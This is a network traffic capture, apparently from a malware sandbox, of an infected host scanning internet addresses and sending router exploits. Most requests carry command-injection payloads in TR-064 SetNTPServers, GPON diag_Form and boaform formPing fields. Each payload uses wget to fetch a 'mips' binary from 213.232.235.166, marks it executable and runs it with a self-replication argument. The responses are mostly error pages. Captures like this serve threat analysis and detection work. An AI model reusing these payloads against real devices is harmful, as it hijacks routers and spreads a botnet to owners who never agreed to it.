Apr 15, 2024 08:53:22.136882067 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:21 GMT Date: Mon, 15 Apr 2024 06:53:21 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 63 64 33 64 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 30 31 26 23 34 36 3b 32 33 39 61 61 34 64 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 64 63 64 33 64 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 30 31 26 23 34 36 3b 32 33 39 61 61 34 64 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.dcd3d17.1713164001.239aa4d6<P>https://errors.edgesuite.net/9.dcd3d17.1713164001.239aa4d6</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.13	36144	115.3.91.2	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.852890968 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.13	51536	103.205.0.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.856878042 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.656405926 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:23.584408998 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:25.440465927 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.184429884 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:36.608437061 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.456386089 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.13	44912	118.52.71.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.862509012 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.13	60204	211.218.225.190	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.865098953 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.13	43214	38.59.3.154	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.869786978 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.035548925 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:21 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.13	51430	213.94.197.17	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.870855093 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.13	55676	119.218.187.121	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.873706102 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:22.175072908 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:21 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.13	47934	213.211.35.216	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.878459930 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.13	59810	1.140.19.46	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.882134914 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.13	52610	35.164.240.25	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.883784056 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.063323975 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:21 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.13	53064	160.19.96.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.890933037 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:23.104473114 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:25.600433111 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:30.464442015 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:40.192508936 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.13	58824	62.4.49.218	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.897699118 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.13	56282	50.2.189.10	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.899229050 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.094428062 CEST	399	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:21 GMT Server: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.13	56590	62.28.58.182	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.899996042 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.13	55754	110.93.237.254	80

Timestamp	Bytes transferred	Direction	Data
